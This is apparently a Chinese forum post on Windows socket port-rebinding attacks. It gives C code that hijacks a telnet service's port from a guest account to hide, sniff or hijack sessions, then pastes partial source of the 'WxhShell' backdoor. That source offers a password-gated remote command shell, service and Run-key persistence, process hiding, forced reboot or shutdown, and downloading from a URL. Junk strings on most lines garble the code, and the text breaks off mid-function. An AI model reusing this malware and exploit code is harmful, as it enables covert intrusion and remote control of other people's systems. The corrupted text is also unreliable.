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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L]X Lv9J0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {j[*:l0Ui  
VzM (u _)  
  saddr.sin_family = AF_INET; L'a s^Od  
*rm[\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |jWA >S  
/HSg)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DfOig LG*  
:h0!giqoQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :W'.SRD  
JV;VR9-l  
  这意味着什么?意味着可以进行如下的攻击: -S@ ys  
>G0ihhVt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]VN1Y)  
=*?XZA)c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nwDW<J{f|U  
^sJp!hi4=)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U|+`Eth8(  
od vUU#l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  li`  
Ac>G F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +b dnTV6  
#KLW&A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pj^Ccd'>=  
> LU !Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Nc(A5*  
+jGUp\h%9;  
  #include Vx n-  
  #include ZI!;~q  
  #include MLmk=&d  
  #include    XQ Si  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X=k|SayE8  
  int main() kgX"I ?>d  
  { 0M}Ql5+h,  
  WORD wVersionRequested; y0t-e   
  DWORD ret; x}7Xd P.2$  
  WSADATA wsaData; 0w$1Yx~C  
  BOOL val; aTLr%D:Ka  
  SOCKADDR_IN saddr; %A@U7gqc  
  SOCKADDR_IN scaddr; %)r1?H} #%  
  int err; y$|OE%S  
  SOCKET s; y=1(o3(  
  SOCKET sc; DC$x}1  
  int caddsize; (jh0cy}|]  
  HANDLE mt; B/EGaYH  
  DWORD tid;   cn ;2&  
  wVersionRequested = MAKEWORD( 2, 2 ); ;sSRv9Xb  
  err = WSAStartup( wVersionRequested, &wsaData ); *^%ohCU i  
  if ( err != 0 ) { %G]WOq=q  
  printf("error!WSAStartup failed!\n"); P9#}aw+  
  return -1; < $rXQ  
  } WZ@$bf}f0  
  saddr.sin_family = AF_INET; ][T>052v  
   0mT.J~}1v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qUNXT  
ZN`I4Ak  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 04E#d.o '  
  saddr.sin_port = htons(23); e0o)Jo.P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,xC@@>f  
  { _4t  
  printf("error!socket failed!\n"); k'd=|U;(FV  
  return -1; T!H }^v  
  } 4V5h1/JPm  
  val = TRUE; Nu%MXu+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sTYA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <(o) * Zmo  
  { z`y^o*qc]  
  printf("error!setsockopt failed!\n"); yLvU@V@~  
  return -1; Z1+1>|-iW  
  } S? (/~Vb%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L q;=UE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kAk+ Sq^n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cfW;gFf  
k`,>52  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) flU?6\_UC  
  { wb-_CQ  
  ret=GetLastError(); Cy\! H&0wg  
  printf("error!bind failed!\n"); 1&YkRCn0  
  return -1; pU@ &-  
  } $C&E3 'O  
  listen(s,2); SfwNNX%  
  while(1) ~$ "P\iJ  
  { * @'N/W/8  
  caddsize = sizeof(scaddr); wEb10t,  
  //接受连接请求 >VvA&p71b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7brC@+ZD  
  if(sc!=INVALID_SOCKET) RZ:= ';  
  { &B ^LaRg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -xU4s  
  if(mt==NULL) nTPq|=C  
  { ywbdV-t/  
  printf("Thread Creat Failed!\n"); 5+iXOs<   
  break;  r(c8P6_  
  } Wc{/K6]f  
  } *Ag,/Cm]  
  CloseHandle(mt); |`ZW(} ~  
  } l>jNBxB|/A  
  closesocket(s); 4Y}{?]>pu  
  WSACleanup(); Z[zRZ2'i5  
  return 0; 'u4TI=[6  
  }   .d%CD`8!  
  DWORD WINAPI ClientThread(LPVOID lpParam) sb*)K,U  
  { =E-V-?N\  
  SOCKET ss = (SOCKET)lpParam; %pImCpMR  
  SOCKET sc; 6n$g73u<=3  
  unsigned char buf[4096]; Z {*<G x  
  SOCKADDR_IN saddr; @L5s.]vg=  
  long num; V82N8-l  
  DWORD val;  F]KAnEf  
  DWORD ret; xU;;@9X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _air'XQ&!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7,EdJ[CR$  
  saddr.sin_family = AF_INET; ]F*fQ Ncjy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X< p KAO\  
  saddr.sin_port = htons(23); Y`!Zk$8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xg1QF^  
  { aO$I|!tl  
  printf("error!socket failed!\n"); TKZ[H$Z  
  return -1; o) ,1R:  
  } $~<]G)*Z  
  val = 100; '/QS sZR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NuC+iC$_/  
  { @PyZ u7'  
  ret = GetLastError(); QlK]2r9  
  return -1; JY6^pC}*  
  } :c`Gh< u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vAjvW&'g  
  { xh9Os <  
  ret = GetLastError(); q!\4|KF~  
  return -1; ])NQzgS  
  } aLt2fB1)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4 oZm0  
  { :[.**,0R  
  printf("error!socket connect failed!\n"); 'yR)z\)  
  closesocket(sc); =/MA`>  
  closesocket(ss); jdAjCy;s!  
  return -1; BXB ZX@jVk  
  }  &'<e9  
  while(1) YGf<!  
  { cMp#_\B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eNX!EN(^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x /E<@?*:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %{;1i  
  num = recv(ss,buf,4096,0); g! DJ W  
  if(num>0) YzVhNJWpw  
  send(sc,buf,num,0); ![j?/376  
  else if(num==0) .l$:0a  
  break; bn6WvC 3?  
  num = recv(sc,buf,4096,0); <3C/t|s  
  if(num>0) |!E: [UH  
  send(ss,buf,num,0); JBt2R=  
  else if(num==0) H[D<G9:  
  break; S>V+IKW;(  
  } I> BGp4AQ  
  closesocket(ss); .6[7D  
  closesocket(sc); }YCpd)@  
  return 0 ; 0<#>LWaM_  
  } GY wU3`{  
LeaJ).Maw  
FDCc?>,o  
========================================================== 4Be'w`Q {  
`R6dnbH  
下边附上一个代码,,WXhSHELL R]<N";-  
z~(3S8$  
========================================================== H?_>wQj&  
sFV&e->AN\  
#include "stdafx.h" 6&`hf >  
h1 pEC  
#include <stdio.h> iR]K!j2  
#include <string.h> dpSNh1  
#include <windows.h> =bJ7!&  
#include <winsock2.h> k{ ~0BK  
#include <winsvc.h> TP{2q51yM  
#include <urlmon.h> Wmc@: (n  
p(Ux]_s%  
#pragma comment (lib, "Ws2_32.lib") \45F;f_r6  
#pragma comment (lib, "urlmon.lib") ???`BF[|  
zv0bE?W9   
#define MAX_USER   100 // 最大客户端连接数 Lv UQ&NmY  
#define BUF_SOCK   200 // sock buffer IRyZ0$r:e\  
#define KEY_BUFF   255 // 输入 buffer %8{nuq+c  
7BkY0_KK  
#define REBOOT     0   // 重启 RG_.0'5=hc  
#define SHUTDOWN   1   // 关机 I>JBGR`j  
F<TIZ^gFP  
#define DEF_PORT   5000 // 监听端口 #ADm^UT^  
ohna1a^  
#define REG_LEN     16   // 注册表键长度 qsWy <yL+  
#define SVC_LEN     80   // NT服务名长度 6|n3e,&A2  
o2~P vef  
// 从dll定义API Dl@Jj?zc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `br$kB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U*4r<y9R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sm"s2Ci=}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,0a\Ka {^  
( 4(,"  
// wxhshell配置信息 "fu:hHq  
struct WSCFG { fPPC`d&Q3  
  int ws_port;         // 监听端口 &&g02>gE  
  char ws_passstr[REG_LEN]; // 口令 Kk`Lu S?  
  int ws_autoins;       // 安装标记, 1=yes 0=no r4mz   
  char ws_regname[REG_LEN]; // 注册表键名 \zKO5,qw  
  char ws_svcname[REG_LEN]; // 服务名 &P7Z_&34Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !|\l*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4-m6e$p;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OE*Y%*b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7@ \:l~{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lHAWZyO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^!fY~(=U4  
V]NCFG  
}; 2Gh&h(  
lg +>.^7k  
// default Wxhshell configuration R*/s#*gmL  
struct WSCFG wscfg={DEF_PORT, F3[,6%4v  
    "xuhuanlingzhe", Q[{RN ab  
    1, 5]xSK'6W  
    "Wxhshell", $[UUf}7L   
    "Wxhshell", wJj:hA}  
            "WxhShell Service", p(6 sN=  
    "Wrsky Windows CmdShell Service", P; h8  
    "Please Input Your Password: ", ?N^1v&Q  
  1, ?4^ 0xGyE  
  "http://www.wrsky.com/wxhshell.exe", S$ffTdRz  
  "Wxhshell.exe" Y (p Ud3y  
    }; T+e*'<!O  
.cm2L,1h  
// 消息定义模块 "VDMO^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Al=ByX@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B"8jEYT5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T'{9!By,P  
char *msg_ws_ext="\n\rExit."; k/(]1QnW  
char *msg_ws_end="\n\rQuit."; NfUt\ p*  
char *msg_ws_boot="\n\rReboot..."; ,u>[cRqw  
char *msg_ws_poff="\n\rShutdown..."; Ec2;?pvd%J  
char *msg_ws_down="\n\rSave to "; 4*&k~0#t  
uP+VS>b  
char *msg_ws_err="\n\rErr!"; +Qf}&D_  
char *msg_ws_ok="\n\rOK!"; e3ce?gk  
Lw2VdFi>E&  
char ExeFile[MAX_PATH]; rr,w/[  
int nUser = 0; \<ysJgqUG  
HANDLE handles[MAX_USER]; ^e =G} N^  
int OsIsNt; .cbC2t95  
YS_3Cq  
SERVICE_STATUS       serviceStatus; C]p@7"l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /'VbV8%  
0(*L)s,5  
// 函数声明 f7y.##WG  
int Install(void); v2_` iwE  
int Uninstall(void); uFha N\S  
int DownloadFile(char *sURL, SOCKET wsh); [dAQrou6P  
int Boot(int flag); QFMA y>Gdn  
void HideProc(void); =3 Vug2*wd  
int GetOsVer(void); YZ`SF"Bd(  
int Wxhshell(SOCKET wsl); rtfRA<  
void TalkWithClient(void *cs); }B a_epM  
int CmdShell(SOCKET sock); em'ADRxG+  
int StartFromService(void); -]+pwZ4g  
int StartWxhshell(LPSTR lpCmdLine); "F%JZO51  
[q U v|l1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vxHFNGI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r! HXhl  
X =%8*_  
// 数据结构和表定义 7f4O~4.[i  
SERVICE_TABLE_ENTRY DispatchTable[] = :eSsqt9]9  
{ N#2ldY *  
{wscfg.ws_svcname, NTServiceMain}, =YTcWB  
{NULL, NULL} - Z`RKR8C  
}; H>A6VDu  
vENf3;o0  
// 自我安装 mf)+ 5On  
int Install(void) pQKSPr  
{ =MMd&  
  char svExeFile[MAX_PATH]; }z x ~  
  HKEY key; VX&PkGi?o  
  strcpy(svExeFile,ExeFile); _bi)d201  
SI=u-'%  
// 如果是win9x系统,修改注册表设为自启动 NB4O,w  
if(!OsIsNt) { PO?_i>mA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r5Tdp)S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A4cOnG,  
  RegCloseKey(key); HA*L*:0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,T`,OZm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y?3.W  
  RegCloseKey(key); ]jFl?LA%7  
  return 0; EG;E !0  
    }  RQb}t,  
  } @1Q-.54a  
} `/ayg:WSU  
else { P/girce0  
hd u2?v@  
// 如果是NT以上系统,安装为系统服务 8M@'A5]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [d8Q AO1;)  
if (schSCManager!=0) RGE(#   
{ zD79M  
  SC_HANDLE schService = CreateService p*&0d@'r  
  ( ?UZt30|1  
  schSCManager, ?)y^ [9  
  wscfg.ws_svcname, +)iMJ]>  
  wscfg.ws_svcdisp, z8'1R6nq  
  SERVICE_ALL_ACCESS, M{Z ;7n'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m$kQbPlatN  
  SERVICE_AUTO_START, lOk8VlH<h  
  SERVICE_ERROR_NORMAL, 9MYk5q.X:  
  svExeFile, =y4dR#R(\  
  NULL, QCF'/G  
  NULL, ^w.hI5ua)  
  NULL, &J*M  
  NULL, 1XMR7liE  
  NULL {^ b2nOMv  
  ); ^Aq0<  
  if (schService!=0) G$+v |z  
  { $KO2+^%y  
  CloseServiceHandle(schService); LWN {  
  CloseServiceHandle(schSCManager); RI0^#S_{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B-R#?Xn:!I  
  strcat(svExeFile,wscfg.ws_svcname); sa(.Anmlj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `;E/\eG"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M .b8 -`V  
  RegCloseKey(key); 4 "HX1qP  
  return 0; ba);f[>  
    } 2t-w0~O  
  } ^,acU\}VqP  
  CloseServiceHandle(schSCManager); NEIkG>\7q  
} by X!,  
} B6Vlc{c5SO  
Aw |;C  
return 1; X,7y|tb  
} 6!ve6ZB[p  
e "A"  
// 自我卸载 qk1jmr  
int Uninstall(void) `za,sRFR  
{ g[3LPKQ  
  HKEY key; ]R#:Bq!F  
~ELMLwn.  
if(!OsIsNt) { [|DKBJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8AuBs;i  
  RegDeleteValue(key,wscfg.ws_regname); ] 3"t]U'f  
  RegCloseKey(key); ttzNv>L,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6<._^hyq  
  RegDeleteValue(key,wscfg.ws_regname); "6$V1B0KW  
  RegCloseKey(key); a>'ez0C  
  return 0; @1JwjtNk  
  } hj [77EEz  
} <U@N ^#  
} [y[d7V9_o  
else { ,Of^xER`  
O1J&Lwpk,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q8v[u_(yD  
if (schSCManager!=0) i2~uhGJ  
{ f"QiVJq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (+> 2&@@<  
  if (schService!=0) -n|bi cP  
  { 1cLtTE  
  if(DeleteService(schService)!=0) { d(T4Kd$r  
  CloseServiceHandle(schService); CubQ6@,  
  CloseServiceHandle(schSCManager); .$qa?$@  
  return 0; h[ DNhR  
  } T{k P9 4  
  CloseServiceHandle(schService); cz>,sz~i  
  } z-5`6aE9<  
  CloseServiceHandle(schSCManager); tnRf!A;m  
} oJz2-P mX  
} n|w+08c"  
1F^Q*t{  
return 1; 9-KhJq%  
} }}AIpYp,P  
^Xk!wJ  
// 从指定url下载文件 I&;>(@K  
int DownloadFile(char *sURL, SOCKET wsh) .f\LzZ-I:  
{ .Pc>1#z&[  
  HRESULT hr; t4WB^dHYp  
char seps[]= "/"; ~s!Q0G^G  
char *token; a1U|eLmUb  
char *file; M"~jNe|  
char myURL[MAX_PATH]; ;b$P*dSG}  
char myFILE[MAX_PATH]; Dqx#i-L23  
x sryXex;  
strcpy(myURL,sURL); I`kfe`_  
  token=strtok(myURL,seps); Z/#_Swv  
  while(token!=NULL) w,LtQhQ  
  { CLR1 CGnn7  
    file=token; O VV@  
  token=strtok(NULL,seps); Rh!UbEPjC  
  } 06&J!,p :  
:C~Ar]  
GetCurrentDirectory(MAX_PATH,myFILE); Ot t6y  
strcat(myFILE, "\\"); 5)k8(kH  
strcat(myFILE, file); 2Je $SE8  
  send(wsh,myFILE,strlen(myFILE),0); pP. _%5  
send(wsh,"...",3,0); d7OygDb<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MMM tB6  
  if(hr==S_OK) 7L{1S v  
return 0; `ONjEl  
else b_0THy.Z  
return 1; X z+%Ym  
*o6}>;  
} bx0.(Nv/X  
u6qK4*eAD  
// 系统电源模块 :t}\%%EbmE  
int Boot(int flag) b\k]Jx  
{ h)KHc/S  
  HANDLE hToken; jEc_!Q  
  TOKEN_PRIVILEGES tkp; BuJo W@)  
f-ltV<C_  
  if(OsIsNt) { LK^|JEu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @IT[-d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j]Auun  
    tkp.PrivilegeCount = 1; 067c/ c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _Cmmx`ln  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "[bkdL<  
if(flag==REBOOT) { L$ZjMJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eA/n.V$z  
  return 0; D tsZP (  
} 7=G 2sOC  
else { S$6|K Y u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ewZ?+G+m  
  return 0; jh5QIZf=  
} NVyBEAoh  
  } w_9^YO! !  
  else { JzyCeM =  
if(flag==REBOOT) { ,UNb#=it  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DiCz%'N  
  return 0; H?$dnwR  
} xEb>6+-F@  
else { #8$?# dT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y"Cf84E  
  return 0; @= -(H<0  
}  *}?[tR5  
} j6 wFks  
X\}l" ]  
return 1; R+ * ; [  
} pwFp<O"  
ewDYu=`*  
// win9x进程隐藏模块 -^_m(@A<~  
void HideProc(void) "F F$Q#)  
{ _jWs(OmJ  
E$ d#4x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B}e/MlX3M  
  if ( hKernel != NULL ) VUb>{&F[  
  { q6zVu(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7CIN!vrC|1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5{ c;I<0  
    FreeLibrary(hKernel); %xt9k9=vZ  
  } "TZq")-  
(lk9](;L  
return; TCr4-"`r-{  
} ^Hd[+vAvR  
]a $6QS  
// 获取操作系统版本 j\2Qe %d  
int GetOsVer(void) L^J4wYFTO  
{ ]e>qvSuYh  
  OSVERSIONINFO winfo; 6g(;2gY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bLqy7S9x  
  GetVersionEx(&winfo); agIqca;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DUp`zW;B  
  return 1; wk(25(1q  
  else 8-Abg:)  
  return 0;  |/Nh#  
} 18&"j 8'm  
eYOY   
// 客户端句柄模块 z.vQ1~s  
int Wxhshell(SOCKET wsl) C@(@n!o:!  
{ Z 3BwbH  
  SOCKET wsh; z@*E=B1L  
  struct sockaddr_in client; a:FU- ^B4~  
  DWORD myID; O-?rFNavxp  
IH|zNg{\Y  
  while(nUser<MAX_USER) TI>5g(:3\  
{ r\NqY.U&  
  int nSize=sizeof(client); :F(4&e=w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lqDCK&g$E#  
  if(wsh==INVALID_SOCKET) return 1; cslC+e/  
*?)MJ@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +! 1_Mt6  
if(handles[nUser]==0) 2Q^ q$@L  
  closesocket(wsh); i7x&[b  
else "LBMpgpU  
  nUser++; 0~|0D#klB  
  } aLk3Yg@X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b<h((]Q>^  
4:/]Y=)x  
  return 0; MZgaQUg  
} Y teIp'T  
bnxp[Qk|5  
// 关闭 socket 1p&.\ ^  
void CloseIt(SOCKET wsh) 5100fX}  
{ {K^5q{u  
closesocket(wsh); bz*@[NQ  
nUser--; 'L/)9.29  
ExitThread(0); .N(R~_  
} 7e_4sxg'(3  
~ua(Qm  
// 客户端请求句柄 -[mmT'sS  
void TalkWithClient(void *cs) +a,SP   
{ QiCia#_  
6pt,]FlU  
  SOCKET wsh=(SOCKET)cs; qe]D4K8`Q3  
  char pwd[SVC_LEN]; Nr|Gw @+  
  char cmd[KEY_BUFF]; eI8o#4nT  
char chr[1]; * #yF`_p  
int i,j; K\xz|Gq  
@iz Onc:  
  while (nUser < MAX_USER) { fu7x,b0p  
7nt(Rtbsu  
if(wscfg.ws_passstr) { I|X`9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `bP`.Wm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Tsz|k  
  //ZeroMemory(pwd,KEY_BUFF); "x$@^  
      i=0; ,&[o:jTk  
  while(i<SVC_LEN) { I4Do$&9<D  
CD1Ma8I8  
  // 设置超时 R|?n  
  fd_set FdRead; kQ\GVI11?  
  struct timeval TimeOut; ]TvMT  
  FD_ZERO(&FdRead); j.M]F/j  
  FD_SET(wsh,&FdRead); V&zeC/xSq  
  TimeOut.tv_sec=8; b8!oZ~ K  
  TimeOut.tv_usec=0; 3.Fko<D4jD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KOixFn1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7%h;To-<6  
p$,7qGST  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {O+T`; =)L  
  pwd=chr[0]; ys=2!P-[#  
  if(chr[0]==0xd || chr[0]==0xa) { 3M#x)cW  
  pwd=0; |W@ ~mrO  
  break; *q}yfa35eR  
  } It*U"4lgi  
  i++; l;-2hZ  
    } *`a$6F7m4  
0fc;H}B*  
  // 如果是非法用户,关闭 socket \Z.r Pq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CvIuH=,  
} f]*;O+8$LN  
+|C@B`h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :6n4i$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VgPlIIHh5  
%[XP}L$  
while(1) { &XNt/bK -?  
FQek+[ox  
  ZeroMemory(cmd,KEY_BUFF); uc9h}QJ*  
9>{fsy  
      // 自动支持客户端 telnet标准   lz^Vi!|p  
  j=0; uh\G6s!4/  
  while(j<KEY_BUFF) { 5K Ij}VN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (N/u@M  
  cmd[j]=chr[0]; 4m~y%> &  
  if(chr[0]==0xa || chr[0]==0xd) { gj|5"'g%  
  cmd[j]=0; @ 5d^ C  
  break; P`rfDQoZ  
  } *,u{, $}2  
  j++; hy/ g*>  
    } RIkIE=+6  
'c~SE>  
  // 下载文件 vhMoCLb  
  if(strstr(cmd,"http://")) { taDe^Ist j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8{Wl   
  if(DownloadFile(cmd,wsh)) +B{u,xgg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oVK?lQ~y  
  else +*OAClt+]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z/#,L!Z3  
  } Le83[E*i  
  else { xst-zfkH`  
5$i(f8*  
    switch(cmd[0]) { 7,)E1dx -V  
  I(UK9H{0$  
  // 帮助 Q``1^E'  
  case '?': { hq"n RH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rzdQLan  
    break; qFVZhBC  
  } j6s j2D  
  // 安装 Z71_D  
  case 'i': { &wQ<sVQ0$  
    if(Install()) V 2Xv)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zl[EpXlZ  
    else "tT4Cb3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PU%Zay  
    break; S))B^).0-  
    } *vQ 6LF;y  
  // 卸载 =pzTB-G  
  case 'r': { 42e[OG-  
    if(Uninstall()) z<Z0/a2'1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"#6m&R_q  
    else )P? 0YC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xM{[~Kh_x  
    break; !"FEp  
    } v1u~[c=|^  
  // 显示 wxhshell 所在路径 &%v*%{|j  
  case 'p': { vJr,lBHEk  
    char svExeFile[MAX_PATH]; WiZkIZ  
    strcpy(svExeFile,"\n\r"); 46M=R-7=  
      strcat(svExeFile,ExeFile); em7L `,  
        send(wsh,svExeFile,strlen(svExeFile),0); <e&v[  
    break; M19O^P>[  
    } 0aq{Y7sYU  
  // 重启 J+CGhk  
  case 'b': { N9ipwr'P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u/k' ry=  
    if(Boot(REBOOT)) NXLb'mH~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3Co   
    else { iTevl>p!  
    closesocket(wsh); ipG 0ie+  
    ExitThread(0); g3s5ra[  
    } ?i_2ueVR  
    break; ,1~B7Z d  
    } ((?"2 }1r  
  // 关机 TlO=dLR7d  
  case 'd': { LQqba4$  
